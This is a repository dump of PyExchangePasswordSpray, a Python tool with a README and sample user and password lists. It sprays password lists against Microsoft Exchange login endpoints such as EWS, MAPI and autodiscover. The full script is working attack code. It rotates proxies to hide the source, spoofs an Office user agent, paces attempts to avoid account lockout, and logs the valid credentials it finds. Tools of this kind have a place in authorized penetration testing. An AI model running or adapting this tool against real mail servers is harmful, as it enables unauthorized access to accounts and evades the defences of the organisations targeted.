├── proxy.txt ├── userlist.txt ├── password.txt ├── requirements.txt ├── .gitignore ├── MS_Exchange_password_spray.png ├── README.md └── exchange_password_spray.py /proxy.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /userlist.txt: -------------------------------------------------------------------------------- 1 | user1 2 | user2 -------------------------------------------------------------------------------- /password.txt: -------------------------------------------------------------------------------- 1 | P@ssw0rd 2 | Passw0rd! -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | termcolor 2 | requests_ntlm 3 | requests -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | __init__.py 3 | .idea 4 | .DS_Store -------------------------------------------------------------------------------- /MS_Exchange_password_spray.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iomoath/PyExchangePasswordSpray/HEAD/MS_Exchange_password_spray.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PyExchangePasswordSpray 2 | 3 | Microsoft Exchange password spraying tool with proxy capabilities. 4 | 5 | 6 | ### Features 7 | * Proxy List Support . HTTP & HTTPS 8 | * Set a delay between each password spray. 9 | * Use user & password list from a txt file 10 | * Multi-threading support 11 | 12 | 13 | 14 | ### Usage 15 | 16 | ``` 17 | $ python3 exchange_password_spray.py -U userlist.txt -P password.txt --url https://webmail.example.org/EWS/Exchange.asmx --delay 62 -T 1 -ua "Microsoft Office/16.0 (Windows NT 10.0; MAPI 16.0.9001; Pro)" -O result.txt -v 18 | ``` 19 | 20 | 21 | ``` 22 | ##################### AUTH URLs samples ##################### 23 | 24 | # https://webmail.example.org/mapi/ 25 | # https://webmail.example.org/EWS/Exchange.asmx 26 | # https://mail.example.org/autodiscover/autodiscover.xml 27 | ``` 28 | 29 | ### Proxy Setups 30 | Put your proxy list in ```proxy.txt``` file with the format ```IP:PORT``` 31 | 32 | 33 | 34 | # Screenshots 35 | ![Demo](MS_Exchange_password_spray.png?raw=true "Demo") 36 | 37 | 38 | 39 | 40 | ## Meta 41 | Article link: 42 | https://c99.sh/microsoft-exchange-password-spraying/ 43 | 44 | Moath Maharmeh - moath@vegalayer.com 45 | 46 | https://github.com/iomoath/PyExchangePasswordSpray -------------------------------------------------------------------------------- /exchange_password_spray.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | from termcolor import colored 3 | import logging 4 | import queue 5 | import threading 6 | import os 7 | import requests 8 | from requests_ntlm import HttpNtlmAuth 9 | import sys 10 | import time 11 | from urllib.parse import urlparse 12 | import base64 13 | import random 14 | import warnings 15 | 16 | warnings.filterwarnings('ignore', message='Unverified HTTPS request') 17 | 18 | ############################ Internal VARS ############################ 19 | ARG_PARSER = None 20 | AUTH_URL = None 21 | DELAY = 1800 22 | MAX_THREADS = 1 23 | VERBOSE = False 24 | JOB_QUEUE = None 25 | CH = None 26 | LOGGER = logging.getLogger('log') 27 | LOGGER.setLevel(logging.INFO) 28 | LOGGING_ENABLED = False 29 | TIMEOUT = 30 30 | VALID_ACCOUNTS = [] 31 | PROXY_LIST = None 32 | 33 | AUTH_TYPE = 'NTLM' 34 | USER_AGENT = 'Microsoft Office/16.0 (Windows NT 10.0; MAPI 16.0.9001; Pro)' 35 | 36 | 37 | ############################ AUTH URLs sample ############################ 38 | 39 | # https://webmail.example.org/mapi/ 40 | # https://webmail.example.org/EWS/Exchange.asmx 41 | # https://mail.example.org/autodiscover/autodiscover.xml 42 | # https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml 43 | # https://autodiscover-s.outlook.com/EWS/Exchange.asmx 44 | 45 | # python3 exchange_password_spray.py -U userlist.txt -P password.txt --url https://webmail.example.org/EWS/Exchange.asmx --delay 62 -T 1 -ua "Microsoft Office/16.0 (Windows NT 10.0; MAPI 16.0.9001; Pro)" -O result.txt -v 46 | 47 | def generate_argparser(): 48 | ascii_logo = """ 49 | MS Exchange Password Spray Tool 50 | """ 51 | ap = argparse.ArgumentParser(ascii_logo) 52 | 53 | ap.add_argument("-U", "--user-list", action='store', type=str, 54 | help="Users list file path") 55 | 56 | ap.add_argument("-P", "--password-list", action='store', type=str, default=None, 57 | help="Password list file path") 58 | 59 | ap.add_argument("-p", "--password", action='store', type=str, default=None, 60 | help="Authenticate using a single password.") 61 | 62 | ap.add_argument("-D", "--domain", action='store', type=str, 63 | help="Exchange WEB domain name. ex: webmail.example.org") 64 | 65 | ap.add_argument("--url", action='store', type=str, 66 | help="Use explicit Authentication URL. ex: https://mail.example.org/autodiscover/autodiscover.xml") 67 | 68 | ap.add_argument("--delay", action='store', type=int, default=30, 69 | help="Delay between authentication attempts in minutes, default is 30 minutes.") 70 | 71 | ap.add_argument("-T", "--threads", action='store', type=int, default=1, 72 | help="Max number of concurrent threads, default is 1 thread.") 73 | 74 | ap.add_argument("-ua", "--useragent", action='store', type=str, default=None, 75 | help="Use custom User-Agent.") 76 | 77 | ap.add_argument("-O", "--output", action='store', type=str, 78 | help="Where to store valid logins.") 79 | 80 | ap.add_argument("-v", "--verbose", action='store_true', default=False, 81 | help="Show more information while processing.") 82 | 83 | ap.add_argument("--version", action="version", version='MS Exchange Password Spray tool version 1.0 https://github.com/iomoath/PyExchangePasswordSpray') 84 | return ap 85 | 86 | 87 | def read_proxy(): 88 | global PROXY_LIST 89 | 90 | try: 91 | with open('proxy.txt') as f: 92 | lines = [line.rstrip() for line in f] 93 | 94 | if lines is None or not lines: 95 | PROXY_LIST = [] 96 | else: 97 | PROXY_LIST = lines 98 | except: 99 | PROXY_LIST = [] 100 | 101 | 102 | def get_random_proxy(): 103 | global PROXY_LIST 104 | 105 | if PROXY_LIST is None or not PROXY_LIST: 106 | return None 107 | 108 | proxy = random.choice(PROXY_LIST) 109 | return {"http": proxy, "https": proxy} 110 | 111 | 112 | def init_job_queue(args): 113 | global JOB_QUEUE 114 | global MAX_THREADS 115 | JOB_QUEUE = queue.Queue() 116 | password_list = [] 117 | 118 | with open(args["user_list"].strip()) as f: 119 | user_list = [line.rstrip('\n') for line in f] 120 | 121 | password_list_path = args['password_list'].strip() 122 | if password_list_path is not None and os.path.isfile(password_list_path): 123 | with open(args["password_list"].strip()) as f: 124 | password_list = [line.rstrip('\n') for line in f] 125 | elif args['password_list'].strip() is not None: 126 | password_list.append(args['password_list'].strip()) 127 | 128 | for i in range(MAX_THREADS): 129 | for password in password_list: 130 | password = password.strip() 131 | job = {'users': user_list, 'password': password} 132 | JOB_QUEUE.put(job) 133 | 134 | base_domain = urlparse(AUTH_URL).netloc 135 | print(colored( 136 | '[*] Attempting {} password against {} user on {}'.format(len(password_list), len(user_list), base_domain), 137 | 'yellow')) 138 | 139 | 140 | def encode_to_base64(text): 141 | message_bytes = text.encode('ascii') 142 | base64_bytes = base64.b64encode(message_bytes) 143 | return base64_bytes.decode('ascii') 144 | 145 | 146 | def get_auth_type(proxy=None): 147 | global AUTH_URL 148 | 149 | headers = {'User-Agent': USER_AGENT, 150 | 'Connection': 'Close', 151 | 'Accept-Encoding': 'gzip, deflate, br', 152 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'} 153 | 154 | try: 155 | session = requests.Session() 156 | result = session.get(AUTH_URL, headers=headers, verify=True, proxies=proxy) 157 | 158 | if result is None or result.headers is None or not result.headers: 159 | if '.xml' in AUTH_URL: 160 | return 'Basic' 161 | return 'NTLM' 162 | 163 | if 'WWW-Authenticate' in result.headers and 'basic realm' in result.headers['WWW-Authenticate'].lower(): 164 | return 'Basic' 165 | 166 | if 'WWW-Authenticate' in result.headers and ( 167 | result.headers['WWW-Authenticate'].lower() == 'ntlm' or result.headers[ 168 | 'WWW-Authenticate'].lower() == 'negotiate'): 169 | return 'NTLM' 170 | 171 | return 'NTLM' 172 | except Exception as e: 173 | print(colored('get_auth_type() {}'.format(e), 'red')) 174 | 175 | 176 | def init(args): 177 | global MAX_THREADS 178 | global LOGGING_ENABLED 179 | global CH 180 | global DELAY 181 | global VERBOSE 182 | global USER_AGENT 183 | global AUTH_URL 184 | global ARG_PARSER 185 | global AUTH_TYPE 186 | 187 | try: 188 | read_proxy() 189 | 190 | MAX_THREADS = args['threads'] 191 | DELAY = args['delay'] 192 | 193 | VERBOSE = args['verbose'] 194 | 195 | if args['useragent'] is not None and len(args['useragent'].strip()) > 0: 196 | USER_AGENT = args['useragent'].strip() 197 | 198 | auth_domain = args['domain'] 199 | auth_url = args['url'] 200 | 201 | if auth_url is not None and len(auth_url) > 1: 202 | AUTH_URL = auth_url.strip().rstrip('/') 203 | 204 | elif auth_domain is not None and len(auth_domain) > 1: 205 | if auth_domain.startswith('http://') or auth_domain.startswith('https://'): 206 | AUTH_URL = '{}/mapi/'.format(auth_domain) 207 | else: 208 | AUTH_URL = 'https://{}/mapi/'.format(auth_domain) 209 | else: 210 | print(colored('Invalid domain name or auth URL', 'red')) 211 | ARG_PARSER.print_help() 212 | sys.exit(0) 213 | 214 | output_path = args['output'].strip() 215 | if output_path is not None: 216 | CH = logging.FileHandler(output_path) 217 | CH.setFormatter(logging.Formatter('%(message)s')) 218 | LOGGER.addHandler(CH) 219 | LOGGING_ENABLED = True 220 | 221 | AUTH_TYPE = get_auth_type(get_random_proxy()) 222 | 223 | except Exception as e: 224 | print(colored(e, 'red')) 225 | ARG_PARSER.print_help() 226 | sys.exit(0) 227 | 228 | init_job_queue(args) 229 | time.sleep(3) 230 | 231 | 232 | def log_success_login(username, password): 233 | global LOGGER 234 | global LOGGING_ENABLED 235 | 236 | if not LOGGING_ENABLED: 237 | return 238 | 239 | msg = '{}:{}'.format(username, password) 240 | LOGGER.info(msg) 241 | 242 | 243 | def print_verbose(msg, color): 244 | global VERBOSE 245 | 246 | if not VERBOSE: 247 | return 248 | 249 | if color is None: 250 | print(msg) 251 | else: 252 | print(colored(msg, color)) 253 | 254 | 255 | def process(username, password, proxy=None): 256 | global AUTH_URL 257 | global VALID_ACCOUNTS 258 | global AUTH_TYPE 259 | 260 | headers = {'User-Agent': USER_AGENT, 261 | 'Connection': 'Close', 262 | 'Accept-Encoding': 'gzip, deflate, br', 263 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'} 264 | 265 | session = requests.Session() 266 | 267 | if AUTH_TYPE == 'Basic': 268 | auth = "{}:{}".format(username, password) 269 | headers['Authorization'] = 'Basic {}'.format(encode_to_base64(auth)) 270 | else: 271 | session.auth = HttpNtlmAuth(username=username, password=password) 272 | 273 | result = session.get(AUTH_URL, headers=headers, verify=True, proxies=proxy) 274 | is_valid = False 275 | 276 | if result is not None and (result.status_code == 200 or result.status_code == 500): 277 | if result.status_code == 200: 278 | if '' in result.text or 'Invalid Request' in result.text or '/EWS/Services.wsdl' in result.text or 'Web.Config Configuration File' in result.text: 279 | is_valid = True 280 | elif result.status_code == 500: 281 | is_valid = True 282 | 283 | if is_valid: 284 | VALID_ACCOUNTS.append(username) 285 | print(colored('[+] Success: {}:{}'.format(username, password), 'green')) 286 | log_success_login(username, password) 287 | else: 288 | msg = "[!] Failed: {}:{}".format(username, password) 289 | print_verbose(msg, 'yellow') 290 | 291 | 292 | def worker(): 293 | global JOB_QUEUE 294 | global DELAY 295 | global TIMEOUT 296 | global VALID_ACCOUNTS 297 | 298 | thread = threading.Thread() 299 | while not JOB_QUEUE.empty(): 300 | try: 301 | job = JOB_QUEUE.get() 302 | if job is None: 303 | break 304 | except Exception as e: 305 | print_verbose('[-] ERROR: {}'.format(e), 'red') 306 | continue 307 | 308 | user_list = job['users'] 309 | password = job['password'] 310 | 311 | for user in user_list: 312 | try: 313 | if user in VALID_ACCOUNTS: 314 | continue 315 | 316 | process(user, password, get_random_proxy()) 317 | 318 | except Exception as e: 319 | msg = "[-] ERROR: '{}:{}'. {}".format(user, password, e) 320 | print_verbose(msg, "red") 321 | 322 | if not JOB_QUEUE.empty(): 323 | print( 324 | colored('[*] "{}" Pausing for {} minutes to avoid account lockout'.format(thread.name, DELAY), 'white')) 325 | seconds = DELAY * 60 326 | time.sleep(seconds) 327 | 328 | 329 | def run(args): 330 | global MAX_THREADS 331 | 332 | init(args) 333 | 334 | # start worker threads 335 | for i in range(MAX_THREADS): 336 | threading.Thread(target=worker).start() 337 | 338 | 339 | def main(): 340 | global ARG_PARSER 341 | ARG_PARSER = generate_argparser() 342 | args = vars(ARG_PARSER.parse_args()) 343 | run(args) 344 | 345 | 346 | if __name__ == "__main__": 347 | main() 348 | --------------------------------------------------------------------------------